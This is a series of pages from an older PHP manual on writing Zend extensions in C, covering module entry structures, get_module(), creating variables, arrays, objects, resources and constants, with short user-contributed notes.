ZEND_FALIAS(name, alias, arg_types) | Defines an alias named alias for name. arg_types needs to be set to NULL. Doesn't require a corresponding C function; refers to the alias target instead.
PHP_FE(name, arg_types) | Old PHP API equivalent of ZEND_FE.
PHP_NAMED_FE(runtime_name, name, arg_types) | Old PHP API equivalent of ZEND_NAMED_FE.

Note: You can't use ZEND_FE in conjunction with PHP_FUNCTION, or PHP_FE in conjunction with ZEND_FUNCTION. However, it's perfectly legal to mix ZEND_FE and ZEND_FUNCTION with PHP_FE and PHP_FUNCTION when staying with the same macro set for each function to be declared. But mixing is not recommended; instead, you're advised to use the ZEND_* macros only.

Declaration of the Zend Module Block

This block is stored in the structure zend_module_entry and contains all necessary information to describe the contents of this module to Zend. You can see the internal definition of this module in 例子 45-5.

例子 45-5. Internal declaration of zend_module_entry.

typedef struct _zend_module_entry zend_module_entry;

    struct _zend_module_entry {
    unsigned short size;
    unsigned int zend_api;
    unsigned char zend_debug;
    unsigned char zts;
    char *name;
    zend_function_entry *functions;
    int (*module_startup_func)(INIT_FUNC_ARGS);
    int (*module_shutdown_func)(SHUTDOWN_FUNC_ARGS);
    int (*request_startup_func)(INIT_FUNC_ARGS);
    int (*request_shutdown_func)(SHUTDOWN_FUNC_ARGS);
    void (*info_func)(ZEND_MODULE_INFO_FUNC_ARGS);
    char *version;

[ Rest of the structure is not interesting here ]

};

Entry | Description
size, zend_api, zend_debug and zts | Usually filled with the "STANDARD_MODULE_HEADER", which fills these four members with the size of the whole zend_module_entry, the ZEND_MODULE_API_NO, whether it is a debug build or normal build (ZEND_DEBUG) and if ZTS is enabled (USING_ZTS).
name | Contains the module name (for example, "File functions", "Socket functions", "Crypt", etc.). This name will show up in phpinfo(), in the section "Additional Modules."
functions | Points to the Zend function block, discussed in the preceding section.
module_startup_func | This function is called once upon module initialization and can be used to do one-time initialization steps (such as initial memory allocation, etc.). To indicate a failure during initialization, return FAILURE; otherwise, SUCCESS. To mark this field as unused, use NULL. To declare a function, use the macro ZEND_MINIT.
module_shutdown_func | This function is called once upon module shutdown and can be used to do one-time deinitialization steps (such as memory deallocation). This is the counterpart to module_startup_func(). To indicate a failure during deinitialization, return FAILURE; otherwise, SUCCESS. To mark this field as unused, use NULL. To declare a function, use the macro ZEND_MSHUTDOWN.
request_startup_func | This function is called once upon every page request and can be used to do one-time initialization steps that are required to process a request. To indicate a failure here, return FAILURE; otherwise, SUCCESS. Note: As dynamic loadable modules are loaded only on page requests, the request startup function is called right after the module startup function (both initialization events happen at the same time). To mark this field as unused, use NULL. To declare a function, use the macro ZEND_RINIT.
request_shutdown_func | This function is called once after every page request and works as counterpart to request_startup_func(). To indicate a failure here, return FAILURE; otherwise, SUCCESS. Note: As dynamic loadable modules are loaded only on page requests, the request shutdown function is immediately followed by a call to the module shutdown handler (both deinitialization events happen at the same time). To mark this field as unused, use NULL. To declare a function, use the macro ZEND_RSHUTDOWN.
info_func | When phpinfo() is called in a script, Zend cycles through all loaded modules and calls this function. Every module then has the chance to print its own "footprint" into the output page. Generally this is used to dump environmental or statistical information. To mark this field as unused, use NULL. To declare a function, use the macro ZEND_MINFO.
version | The version of the module. You can use NO_VERSION_YET if you don't want to give the module a version number yet, but we really recommend that you add a version string here. Such a version string can look like this (in chronological order): "2.5-dev", "2.5RC1", "2.5" or "2.5pl3".
Remaining structure elements | These are used internally and can be prefilled by using the macro STANDARD_MODULE_PROPERTIES_EX. You should not assign any values to them. Use STANDARD_MODULE_PROPERTIES_EX only if you use global startup and shutdown functions; otherwise, use STANDARD_MODULE_PROPERTIES directly.

In our example, this structure is implemented as follows:
zend_module_entry firstmod_module_entry =
{
    STANDARD_MODULE_HEADER,
    "First Module",
    firstmod_functions,
    NULL, NULL, NULL, NULL, NULL,
    NO_VERSION_YET,
    STANDARD_MODULE_PROPERTIES,
};
This is basically the easiest and most minimal set of values you could ever use. The module name is set to First Module, then the function list is referenced, after which all startup and shutdown functions are marked as being unused.

For reference purposes, you can find a list of the macros involved in declared startup and shutdown functions in 表格 45-3. These are not used in our basic example yet, but will be demonstrated later on. You should make use of these macros to declare your startup and shutdown functions, as these require special arguments to be passed (INIT_FUNC_ARGS and SHUTDOWN_FUNC_ARGS), which are automatically included into the function declaration when using the predefined macros. If you declare your functions manually and the PHP developers decide that a change in the argument list is necessary, you'll have to change your module sources to remain compatible.

表格 45-3. Macros to Declare Startup and Shutdown Functions

Macro | Description
ZEND_MINIT(module) | Declares a function for module startup. The generated name will be zend_minit_<module> (for example, zend_minit_first_module). Use in conjunction with ZEND_MINIT_FUNCTION.
ZEND_MSHUTDOWN(module) | Declares a function for module shutdown. The generated name will be zend_mshutdown_<module> (for example, zend_mshutdown_first_module). Use in conjunction with ZEND_MSHUTDOWN_FUNCTION.
ZEND_RINIT(module) | Declares a function for request startup. The generated name will be zend_rinit_<module> (for example, zend_rinit_first_module). Use in conjunction with ZEND_RINIT_FUNCTION.
ZEND_RSHUTDOWN(module) | Declares a function for request shutdown. The generated name will be zend_rshutdown_<module> (for example, zend_rshutdown_first_module). Use in conjunction with ZEND_RSHUTDOWN_FUNCTION.
ZEND_MINFO(module) | Declares a function for printing module information, used when phpinfo() is called. The generated name will be zend_info_<module> (for example, zend_info_first_module). Use in conjunction with ZEND_MINFO_FUNCTION.

Creation of get_module()

This function is special to all dynamic loadable modules. Take a look at the creation via the ZEND_GET_MODULE macro first:

#if COMPILE_DL_FIRSTMOD
     ZEND_GET_MODULE(firstmod)
#endif

The function implementation is surrounded by a conditional compilation statement. This is needed since the function get_module() is only required if your module is built as a dynamic extension. By specifying a definition of COMPILE_DL_FIRSTMOD in the compiler command (see above for a discussion of the compilation instructions required to build a dynamic extension), you can instruct your module whether you intend to build it as a dynamic extension or as a built-in module. If you want a built-in module, the implementation of get_module() is simply left out.

get_module() is called by Zend at load time of the module. You can think of it as being invoked by the dl() call in your script. Its purpose is to pass the module information block back to Zend in order to inform the engine about the module contents.

If you don't implement a get_module() function in your dynamic loadable module, Zend will compliment you with an error message when trying to access it.

Implementation of All Exported Functions

Implementing the exported functions is the final step. The example function in first_module looks like this:
ZEND_FUNCTION(first_module)
{
    long parameter;

    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "l", &parameter) == FAILURE) {
        return;
    }

    RETURN_LONG(parameter);
}
The function declaration is done using ZEND_FUNCTION, which corresponds to ZEND_FE in the function entry table (discussed earlier).

After the declaration, code for checking and retrieving the function's arguments, argument conversion, and return value generation follows (more on this later).

Summary

That's it, basically - there's nothing more to implementing PHP modules. Built-in modules are structured similarly to dynamic modules, so, equipped with the information presented in the previous sections, you'll be able to fight the odds when encountering PHP module source files.

Now, in the following sections, read on about how to make use of PHP's internals to build powerful extensions.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Troubleshooting | 上一级 | Accepting Arguments


Troubleshooting

Actually, not much troubleshooting can be done when compiling static or dynamic modules. The only problem that could arise is that the compiler will complain about missing definitions or something similar. In this case, make sure that all header files are available and that you specified their path correctly in the compilation command. To be sure that everything is located correctly, extract a clean PHP source tree and use the automatic build in the ext directory with the fresh files; this will guarantee a safe compilation environment. If this fails, try manual compilation.

PHP might also complain about missing functions in your module. (This shouldn't happen with the sample sources if you didn't modify them.) If the names of external functions you're trying to access from your module are misspelled, they'll remain as "unlinked symbols" in the symbol table. During dynamic loading and linkage by PHP, they won't resolve because of the typing errors - there are no corresponding symbols in the main binary. Look for incorrect declarations in your module file or incorrectly written external references. Note that this problem is specific to dynamic loadable modules; it doesn't occur with static modules. Errors in static modules show up at compile time.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Using Extensions | 上一级 | Source Discussion


Using Extensions

Depending on the build process you selected, you should either end up with a new PHP binary to be linked into your Web server (or run as CGI), or with an .so (shared object) file. If you compiled the example file first_module.c as a shared object, your result file should be first_module.so. To use it, you first have to copy it to a place from which it's accessible to PHP. For a simple test procedure, you can copy it to your htdocs directory and try it with the source in 例子 45-3. If you compiled it into the PHP binary, omit the call to dl(), as the module's functionality is instantly available to your scripts.

警告

For security reasons, you should not put your dynamic modules into publicly accessible directories. Even though it can be done and it simplifies testing, you should put them into a separate directory in production environments.

例子 45-3. A test file for first_module.so.

<?php

// remove next comment if necessary
// dl("first_module.so");

$param = 2;
$return = first_module($param);

print("We sent '$param' and got '$return'");

?>

Calling this PHP file in your Web browser should give you the output shown in 图形 45-2.

图形 45-2. Output of first_module.php.

If required, the dynamic loadable module is loaded by calling the dl() function. This function looks for the specified shared object, loads it, and makes its functions available to PHP. The module exports the function first_module(), which accepts a single parameter, converts it to an integer, and returns the result of the conversion.

If you've gotten this far, congratulations! You just built your first extension to PHP.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Creating Extensions | 上一级 | Troubleshooting


Creating Variables

When exchanging data from your own extensions with PHP scripts, one of the most important issues is the creation of variables. This section shows you how to deal with the variable types that PHP supports.

Overview

To create new variables that can be seen "from the outside" by the executing script, you need to allocate a new zval container, fill this container with meaningful values, and then introduce it to Zend's internal symbol table. This basic process is common to all variable creations:

zval *new_variable;

/* allocate and initialize new container */
MAKE_STD_ZVAL(new_variable);

/* set type and variable contents here, see the following sections */

/* introduce this variable by the name "new_variable_name" into the symbol table */
ZEND_SET_SYMBOL(EG(active_symbol_table), "new_variable_name", new_variable);

/* the variable is now accessible to the script by using $new_variable_name */

The macro MAKE_STD_ZVAL allocates a new zval container using ALLOC_ZVAL and initializes it using INIT_ZVAL. As implemented in Zend at the time of this writing, initializing means setting the reference count to 1 and clearing the is_ref flag, but this process could be extended later - this is why it's a good idea to keep using MAKE_STD_ZVAL instead of only using ALLOC_ZVAL. If you want to optimize for speed (and you don't have to explicitly initialize the zval container here), you can use ALLOC_ZVAL, but this isn't recommended because it doesn't ensure data integrity.

ZEND_SET_SYMBOL takes care of introducing the new variable to Zend's symbol table. This macro checks whether the value already exists in the symbol table and converts the new symbol to a reference if so (with automatic deallocation of the old zval container). This is the preferred method if speed is not a crucial issue and you'd like to keep memory usage low.

Note that ZEND_SET_SYMBOL makes use of the Zend executor globals via the macro EG. By specifying EG(active_symbol_table), you get access to the currently active symbol table, dealing with the active, local scope. The local scope may differ depending on whether the function was invoked from within a function.

If you need to optimize for speed and don't care about optimal memory usage, you can omit the check for an existing variable with the same value and instead force insertion into the symbol table by using zend_hash_update():
zval *new_variable;

/* allocate and initialize new container */
MAKE_STD_ZVAL(new_variable);

/* set type and variable contents here, see the following sections */

/* introduce this variable by the name "new_variable_name" into the symbol table */
zend_hash_update(
    EG(active_symbol_table),
    "new_variable_name",
    strlen("new_variable_name") + 1,
    &new_variable,
    sizeof(zval *),
    NULL
);
This is actually the standard method used in most modules.

The variables generated with the snippet above will always be of local scope, so they reside in the context in which the function has been called. To create new variables in the global scope, use the same method but refer to another symbol table:
zval *new_variable;

// allocate and initialize new container
MAKE_STD_ZVAL(new_variable);

//
// set type and variable contents here
//

// introduce this variable by the name "new_variable_name" into the global symbol table
ZEND_SET_SYMBOL(&EG(symbol_table), "new_variable_name", new_variable);
The macro ZEND_SET_SYMBOL is now being called with a reference to the main, global symbol table by referring EG(symbol_table).

Note: The active_symbol_table variable is a pointer, but symbol_table is not. This is why you have to use EG(active_symbol_table) and &EG(symbol_table) as parameters to ZEND_SET_SYMBOL - it requires a pointer.

Similarly, to get a more efficient version, you can hardcode the symbol table update:
zval *new_variable;

// allocate and initialize new container
MAKE_STD_ZVAL(new_variable);

//
// set type and variable contents here
//

// introduce this variable by the name "new_variable_name" into the global symbol table
zend_hash_update(
    &EG(symbol_table),
    "new_variable_name",
    strlen("new_variable_name") + 1,
    &new_variable,
    sizeof(zval *),
    NULL
);
例子 45-9 shows a sample source that creates two variables - local_variable with a local scope and global_variable with a global scope (see Figure 9.7). The full example can be found on the CD-ROM.

Note: You can see that the global variable is actually not accessible from within the function. This is because it's not imported into the local scope using global $global_variable; in the PHP source.

例子 45-9. Creating variables with different scopes.

ZEND_FUNCTION(variable_creation)
{
    zval *new_var1, *new_var2;

    MAKE_STD_ZVAL(new_var1);
    MAKE_STD_ZVAL(new_var2);

    ZVAL_LONG(new_var1, 10);
    ZVAL_LONG(new_var2, 5);

    ZEND_SET_SYMBOL(EG(active_symbol_table), "local_variable", new_var1);
    ZEND_SET_SYMBOL(&EG(symbol_table), "global_variable", new_var2);

    RETURN_NULL();

}

Longs (Integers)

Now let's get to the assignment of data to variables, starting with longs. Longs are PHP's integers and are very simple to store. Looking at the zval.value container structure discussed earlier in this chapter, you can see that the long data type is directly contained in the union, namely in the lval field. The corresponding type value for longs is IS_LONG (see 例子 45-10).

例子 45-10. Creation of a long.

zval *new_long;

MAKE_STD_ZVAL(new_long);

new_long->type = IS_LONG;
new_long->value.lval = 10;
Alternatively, you can use the macro ZVAL_LONG:
zval *new_long;

MAKE_STD_ZVAL(new_long);
ZVAL_LONG(new_long, 10);

Doubles (Floats)

Doubles are PHP's floats and are as easy to assign as longs, because their value is also contained directly in the union. The member in the zval.value container is dval; the corresponding type is IS_DOUBLE.
zval *new_double;

MAKE_STD_ZVAL(new_double);

new_double->type = IS_DOUBLE;
new_double->value.dval = 3.45;
Alternatively, you can use the macro ZVAL_DOUBLE:
zval *new_double;

MAKE_STD_ZVAL(new_double);
ZVAL_DOUBLE(new_double, 3.45);

Strings

Strings need slightly more effort. As mentioned earlier, all strings that will be associated with Zend's internal data structures need to be allocated using Zend's own memory-management functions. Referencing of static strings or strings allocated with standard routines is not allowed. To assign strings, you have to access the structure str in the zval.value container. The corresponding type is IS_STRING:
zval *new_string;
char *string_contents = "This is a new string variable";

MAKE_STD_ZVAL(new_string);

new_string->type = IS_STRING;
new_string->value.str.len = strlen(string_contents);
new_string->value.str.val = estrdup(string_contents);
Note the usage of Zend's estrdup() here. Of course, you can also use the predefined macro ZVAL_STRING:
zval *new_string;
char *string_contents = "This is a new string variable";

MAKE_STD_ZVAL(new_string);
ZVAL_STRING(new_string, string_contents, 1);
ZVAL_STRING accepts a third parameter that indicates whether the supplied string contents should be duplicated (using estrdup()). Setting this parameter to 1 causes the string to be duplicated; 0 simply uses the supplied pointer for the variable contents. This is most useful if you want to create a new variable referring to a string that's already allocated in Zend internal memory.

If you want to truncate the string at a certain position or you already know its length, you can use ZVAL_STRINGL(zval, string, length, duplicate), which accepts an explicit string length to be set for the new string. This macro is faster than ZVAL_STRING and also binary-safe.

To create empty strings, set the string length to 0 and use empty_string as contents:
new_string->type = IS_STRING;
new_string->value.str.len = 0;
new_string->value.str.val = empty_string;
Of course, there's a macro for this as well (ZVAL_EMPTY_STRING):
MAKE_STD_ZVAL(new_string);
ZVAL_EMPTY_STRING(new_string);

Booleans

Booleans are created just like longs, but have the type IS_BOOL. Allowed values in lval are 0 and 1:
zval *new_bool;

MAKE_STD_ZVAL(new_bool);

new_bool->type = IS_BOOL;
new_bool->value.lval = 1;
The corresponding macros for this type are ZVAL_BOOL (allowing specification of the value) as well as ZVAL_TRUE and ZVAL_FALSE (which explicitly set the value to TRUE and FALSE, respectively).

Arrays

Arrays are stored using Zend's internal hash tables, which can be accessed using the zend_hash_*() API. For every array that you want to create, you need a new hash table handle, which will be stored in the ht member of the zval.value container.

There's a whole API solely for the creation of arrays, which is extremely handy. To start a new array, you call array_init().
zval *new_array;

MAKE_STD_ZVAL(new_array);

array_init(new_array);
array_init() always returns SUCCESS.

To add new elements to the array, you can use numerous functions, depending on what you want to do. 表格 45-8, 表格 45-9 and 表格 45-10 describe these functions. All functions return FAILURE on failure and SUCCESS on success.

表格 45-8. Zend's API for Associative Arrays

Function | Description
add_assoc_long(zval *array, char *key, long n);() | Adds an element of type long.
add_assoc_unset(zval *array, char *key);() | Adds an unset element.
add_assoc_bool(zval *array, char *key, int b);() | Adds a Boolean element.
add_assoc_resource(zval *array, char *key, int r);() | Adds a resource to the array.
add_assoc_double(zval *array, char *key, double d);() | Adds a floating-point value.
add_assoc_string(zval *array, char *key, char *str, int duplicate);() | Adds a string to the array. The flag duplicate specifies whether the string contents have to be copied to Zend internal memory.
add_assoc_stringl(zval *array, char *key, char *str, uint length, int duplicate); () | Adds a string with the desired length length to the array. Otherwise, behaves like add_assoc_string().
add_assoc_zval(zval *array, char *key, zval *value);() | Adds a zval to the array. Useful for adding other arrays, objects, streams, etc...

表格 45-9. Zend's API for Indexed Arrays, Part 1

Function | Description
add_index_long(zval *array, uint idx, long n);() | Adds an element of type long.
add_index_unset(zval *array, uint idx);() | Adds an unset element.
add_index_bool(zval *array, uint idx, int b);() | Adds a Boolean element.
add_index_resource(zval *array, uint idx, int r);() | Adds a resource to the array.
add_index_double(zval *array, uint idx, double d);() | Adds a floating-point value.
add_index_string(zval *array, uint idx, char *str, int duplicate);() | Adds a string to the array. The flag duplicate specifies whether the string contents have to be copied to Zend internal memory.
add_index_stringl(zval *array, uint idx, char *str, uint length, int duplicate);() | Adds a string with the desired length length to the array. This function is faster and binary-safe. Otherwise, behaves like add_index_string()().
add_index_zval(zval *array, uint idx, zval *value);() | Adds a zval to the array. Useful for adding other arrays, objects, streams, etc...

表格 45-10. Zend's API for Indexed Arrays, Part 2

Function | Description
add_next_index_long(zval *array, long n);() | Adds an element of type long.
add_next_index_unset(zval *array);() | Adds an unset element.
add_next_index_bool(zval *array, int b);() | Adds a Boolean element.
add_next_index_resource(zval *array, int r);() | Adds a resource to the array.
add_next_index_double(zval *array, double d);() | Adds a floating-point value.
add_next_index_string(zval *array, char *str, int duplicate);() | Adds a string to the array. The flag duplicate specifies whether the string contents have to be copied to Zend internal memory.
add_next_index_stringl(zval *array, char *str, uint length, int duplicate);() | Adds a string with the desired length length to the array. This function is faster and binary-safe. Otherwise, behaves like add_index_string()().
add_next_index_zval(zval *array, zval *value);() | Adds a zval to the array. Useful for adding other arrays, objects, streams, etc...

All these functions provide a handy abstraction to Zend's internal hash API. Of course, you can also use the hash functions directly - for example, if you already have a zval container allocated that you want to insert into an array. This is done using zend_hash_update()() for associative arrays (see 例子 45-11) and zend_hash_index_update() for indexed arrays (see 例子 45-12):

例子 45-11. Adding an element to an associative array.

zval *new_array, *new_element;
char *key = "element_key";

MAKE_STD_ZVAL(new_array);
MAKE_STD_ZVAL(new_element);

array_init(new_array);

ZVAL_LONG(new_element, 10);

if(zend_hash_update(new_array->value.ht, key, strlen(key) + 1, (void *)&new_element, sizeof(zval *), NULL) == FAILURE)
{
    // do error handling here
}

例子 45-12. Adding an element to an indexed array.

zval *new_array, *new_element;
int key = 2;

MAKE_STD_ZVAL(new_array);
MAKE_STD_ZVAL(new_element);

array_init(new_array);

ZVAL_LONG(new_element, 10);

if(zend_hash_index_update(new_array->value.ht, key, (void *)&new_element, sizeof(zval *), NULL) == FAILURE)
{
    // do error handling here
}

To emulate the functionality of add_next_index_*(), you can use this:

zend_hash_next_index_insert(ht, zval **new_element, sizeof(zval *), NULL)

Note: To return arrays from a function, use array_init() and all following actions on the predefined variable return_value (given as argument to your exported function; see the earlier discussion of the call interface). You do not have to use MAKE_STD_ZVAL on this.

Tip: To avoid having to write new_array->value.ht every time, you can use HASH_OF(new_array), which is also recommended for compatibility and style reasons.

Objects

Since objects can be converted to arrays (and vice versa), you might have already guessed that they have a lot of similarities to arrays in PHP. Objects are maintained with the same hash functions, but there's a different API for creating them.

To initialize an object, you use the function object_init():
zval *new_object;

MAKE_STD_ZVAL(new_object);

if(object_init(new_object) != SUCCESS)
{
    // do error handling here
}
You can use the functions described in 表格 45-11 to add members to your object.

表格 45-11. Zend's API for Object Creation

Function | Description
add_property_long(zval *object, char *key, long l);() | Adds a long to the object.
add_property_unset(zval *object, char *key);() | Adds an unset property to the object.
add_property_bool(zval *object, char *key, int b);() | Adds a Boolean to the object.
add_property_resource(zval *object, char *key, long r);() | Adds a resource to the object.
add_property_double(zval *object, char *key, double d);() | Adds a double to the object.
add_property_string(zval *object, char *key, char *str, int duplicate);() | Adds a string to the object.
add_property_stringl(zval *object, char *key, char *str, uint length, int duplicate);() | Adds a string of the specified length to the object. This function is faster than add_property_string() and also binary-safe.
add_property_zval(zval *obect, char *key, zval *container):() | Adds a zval container to the object. This is useful if you have to add properties which aren't simple types like integers or strings but arrays or other objects.

Resources

Resources are a special kind of data type in PHP. The term resources doesn't really refer to any special kind of data, but to an abstraction method for maintaining any kind of information. Resources are kept in a special resource list within Zend. Each entry in the list has a correspondending type definition that denotes the kind of resource to which it refers. Zend then internally manages all references to this resource. Access to a resource is never possible directly - only via a provided API. As soon as all references to a specific resource are lost, a corresponding shutdown function is called.

For example, resources are used to store database links and file descriptors. The de facto standard implementation can be found in the MySQL module, but other modules such as the Oracle module also make use of resources.

注: In fact, a resource can be a pointer to anything you need to handle in your functions (e.g. pointer to a structure) and the user only has to pass a single resource variable to your function.

To create a new resource you need to register a resource destruction handler for it. Since you can store any kind of data as a resource, Zend needs to know how to free this resource if its not longer needed. This works by registering your own resource destruction handler to Zend which in turn gets called by Zend whenever your resource can be freed (whether manually or automatically). Registering your resource handler within Zend returns you the resource type handle for that resource. This handle is needed whenever you want to access a resource of this type later and is most of time stored in a global static variable within your extension. There is no need to worry about thread safety here because you only register your resource handler once during module initialization.

The Zend function to register your resource handler is defined as:
ZEND_API int zend_register_list_destructors_ex(rsrc_dtor_func_t ld, rsrc_dtor_func_t pld, char *type_name, int module_number);

There are two different kinds of resource destruction handlers you can pass to this function: a handler for normal resources and a handler for persistent resources. Persistent resources are for example used for database connection. When registering a resource, either of these handlers must be given. For the other handler just pass NULL.

zend_register_list_destructors_ex() accepts the following parameters:

ld | Normal resource destruction handler callback
pld | Pesistent resource destruction handler callback
type_name | A string specifying the name of your resource. It's always a good thing to specify an unique name within PHP for the resource type so when the user for example calls var_dump($resource); he also gets the name of the resource.
module_number | The module_number is automatically available in your PHP_MINIT_FUNCTION function and therefore you just pass it over.

The return value is an unique integer ID for your resource type.

The resource destruction handler (either normal or persistent resources) has the following prototype:
void resource_destruction_handler(zend_rsrc_list_entry *rsrc TSRMLS_DC);
The passed rsrc is a pointer to the following structure:
typedef struct _zend_rsrc_list_entry {

    void *ptr;
    int type;
    int refcount;

} zend_rsrc_list_entry;
The member void *ptr is the actual pointer to your resource.

Now we know how to start things, we define our own resource we want register within Zend. It is only a simple structure with two integer members:
typedef struct {

    int resource_link;
    int resource_type;

} my_resource;
Our resource destruction handler is probably going to look something like this:
void my_destruction_handler(zend_rsrc_list_entry *rsrc TSRMLS_DC) {

    // You most likely cast the void pointer to your structure type

    my_resource *my_rsrc = (my_resource *) rsrc->ptr;

    // Now do whatever needs to be done with you resource. Closing
    // Files, Sockets, freeing additional memory, etc.
    // Also, don't forget to actually free the memory for your resource too!

    do_whatever_needs_to_be_done_with_the_resource(my_rsrc);
}

注: One important thing to mention: If your resource is a rather complex structure which also contains pointers to memory you allocated during runtime you have to free them before freeing the resource itself!

Now that we have defined

  1. what our resource is and

  2. our resource destruction handler

we can go on and do the rest of the steps:

  1. create a global variable within the extension holding the resource ID so it can be accessed from every function which needs it

  2. define the resource name

  3. write the resource destruction handler

  4. and finally register the handler

// Somewhere in your extension, define the variable for your registered resources.
    // If you wondered what 'le' stands for: it simply means 'list entry'.
    static int le_myresource;

    // It's nice to define your resource name somewhere
    #define le_myresource_name  "My type of resource"

    [...]

    // Now actually define our resource destruction handler
    void my_destruction_handler(zend_rsrc_list_entry *rsrc TSRMLS_DC) {

        my_resource *my_rsrc = (my_resource *) rsrc->ptr;
        do_whatever_needs_to_be_done_with_the_resource(my_rsrc);
    }

    [...]

    PHP_MINIT_FUNCTION(my_extension) {

        // Note that 'module_number' is already provided through the
        // PHP_MINIT_FUNCTION() function definition.

        le_myresource = zend_register_list_destructors_ex(my_destruction_handler, NULL, le_myresource_name, module_number);

        // You can register additional resources, initialize
        // your global vars, constants, whatever.
    }

To actually register a new resource you use can either use the zend_register_resource() function or the ZEND_REGISTER_RESOURE() macro, both defined in zend_list.h . Although the arguments for both map 1:1 it's a good idea to always use macros to be upwards compatible:
int ZEND_REGISTER_RESOURCE(zval *rsrc_result, void *rsrc_pointer, int rsrc_type);

rsrc_result | This is an already initialized zval * container.
rsrc_pointer | Your resource pointer you want to store.
rsrc_type | The type which you received when you registered the resource destruction handler. If you followed the naming scheme this would be le_myresource.

The return value is an unique integer identifier for that resource.

What is really going on when you register a new resource is it gets inserted in an internal list in Zend and the result is just stored in the given zval * container:
rsrc_id = zend_list_insert(rsrc_pointer, rsrc_type);

    if (rsrc_result) {
        rsrc_result->value.lval = rsrc_id;
        rsrc_result->type = IS_RESOURCE;
    }

    return rsrc_id;
The returned rsrc_id uniquly identifies the newly registered resource. You can use the macro RETURN_RESOURE to return it to the user:
RETURN_RESOURCE(rsrc_id)

注: It is common practice that if you want to return the resource immidiately to the user you specify the return_value as the zval * container.

Zend now keeps track of all references to this resource. As soon as all references to the resource are lost, the destructor that you previously registered for this resource is called. The nice thing about this setup is that you don't have to worry about memory leakages introduced by allocations in your module - just register all memory allocations that your calling script will refer to as resources. As soon as the script decides it doesn't need them anymore, Zend will find out and tell you.

Now that the user got his resource, at some point he is passing it back to one of your functions. The value.lval inside the zval * container contains the key to your resource and thus can be used to fetch the resource with the following macro: ZEND_FETCH_RESOURCE:
ZEND_FETCH_RESOURCE(rsrc, rsrc_type, rsrc_id, default_rsrc_id, resource_type_name, resource_type)

rsrc | This is your pointer which will point to your previously registered resource.
rsrc_type | This is the typecast argument for your pointer, e.g. myresource *.
rsrc_id | This is the address of the zval *container the user passed to your function, e.g. &z_resource if zval *z_resource is given.
default_rsrc_id | This integer specifies the default resource ID if no resource could be fetched or -1.
resource_type_name | This is the name of the requested resource. It's a string and is used when the resource can't be found or is invalid to form a meaningful error message.
resource_type | The resource_type you got back when registering the resource destruction handler. In our example this was le_myresource.

This macro has no return value. It is for the developers convenience and takes care of TSRMLS arguments passing and also does check if the resource could be fetched. It throws a warning message and returns the current PHP function with NULL if there was a problem retrieving the resource.

To force removal of a resource from the list, use the function zend_list_delete(). You can also force the reference count to increase if you know that you're creating another reference for a previously allocated value (for example, if you're automatically reusing a default database link). For this case, use the function zend_list_addref(). To search for previously allocated resource entries, use zend_list_find(). The complete API can be found in zend_list.h.

Macros for Automatic Global Variable Creation

In addition to the macros discussed earlier, a few macros allow easy creation of simple global variables. These are nice to know in case you want to introduce global flags, for example. This is somewhat bad practice, but Table 表格 45-12 describes macros that do exactly this task. They don't need any zval allocation; you simply have to supply a variable name and value.

表格 45-12. Macros for Global Variable Creation

Macro | Description
SET_VAR_STRING(name, value) | Creates a new string.
SET_VAR_STRINGL(name, value, length) | Creates a new string of the specified length. This macro is faster than SET_VAR_STRING and also binary-safe.
SET_VAR_LONG(name, value) | Creates a new long.
SET_VAR_DOUBLE(name, value) | Creates a new double.

Creating Constants

Zend supports the creation of true constants (as opposed to regular variables). Constants are accessed without the typical dollar sign ($) prefix and are available in all scopes. Examples include TRUE and FALSE, to name just two.

To create your own constants, you can use the macros in 表格 45-13. All the macros create a constant with the specified name and value.

You can also specify flags for each constant:

  • CONST_CS - This constant's name is to be treated as case sensitive.

  • CONST_PERSISTENT - This constant is persistent and won't be "forgotten" when the current process carrying this constant shuts down.

To use the flags, combine them using a inary OR:
// register a new constant of type "long"
     REGISTER_LONG_CONSTANT("NEW_MEANINGFUL_CONSTANT", 324, CONST_CS |
     CONST_PERSISTENT);
There are two types of macros - REGISTER_*_CONSTANT andREGISTER_MAIN_*_CONSTANT. The first type creates constants bound to the current module. These constants are dumped from the symbol table as soon as the module that registered the constant is unloaded from memory. The second type creates constants that remain in the symbol table independently of the module.

表格 45-13. Macros for Creating Constants

Macro | Description
REGISTER_LONG_CONSTANT(name, value, flags) REGISTER_MAIN_LONG_CONSTANT(name, value, flags) | Registers a new constant of type long.
REGISTER_DOUBLE_CONSTANT(name, value, flags) REGISTER_MAIN_DOUBLE_CONSTANT(name, value, flags) | Registers a new constant of type double.
REGISTER_STRING_CONSTANT(name, value, flags) REGISTER_MAIN_STRING_CONSTANT(name, value, flags) | Registers a new constant of type string. The specified string must reside in Zend's internal memory.
REGISTER_STRINGL_CONSTANT(name, value, length, flags) REGISTER_MAIN_STRINGL_CONSTANT(name, value, length, flags) | Registers a new constant of type string. The string length is explicitly set to length. The specified string must reside in Zend's internal memory.

add a note add a note User Contributed Notes
26-Apr-2004 01:13
If you want to free zval, you can do this:

{
zval *new_var;

/* allocate and initialize new container */
MAKE_STD_ZVAL(new_var);

/* set type and variable contents here, see the following sections */

ZVAL_STRING(new_var, "123456", 1);

/* introduce this variable by the name "new_variable_name" into the symbol table */
zend_hash_update(
   EG(active_symbol_table),
   "new_var",
   strlen("new_var") + 1,
   &new_var,
   sizeof(zval *),
   NULL
);

zend_hash_del(
   EG(active_symbol_table),
   "new_var",
   strlen("new_var") + 1);

FREE_ZVAL(new_var);
}
add a note add a note

后退 | 起点 | 前进
Accepting Arguments | 上一级 | Duplicating Variable Contents: The Copy Constructor


Where to Go from Here

You've learned a lot about PHP. You now know how to create dynamic loadable modules and statically linked extensions. You've learned how PHP and Zend deal with internal storage of variables and how you can create and access these variables. You know quite a set of tool functions that do a lot of routine tasks such as printing informational texts, automatically introducing variables to the symbol table, and so on.

Even though this chapter often had a mostly "referential" character, we hope that it gave you insight on how to start writing your own extensions. For the sake of space, we had to leave out a lot; we suggest that you take the time to study the header files and some modules (especially the ones in the ext/standard directory and the MySQL module, as these implement commonly known functionality). This will give you an idea of how other people have used the API functions - particularly those that didn't make it into this chapter.

add a note add a note User Contributed Notes
psikic at psikic dot com
24-Aug-2004 02:50
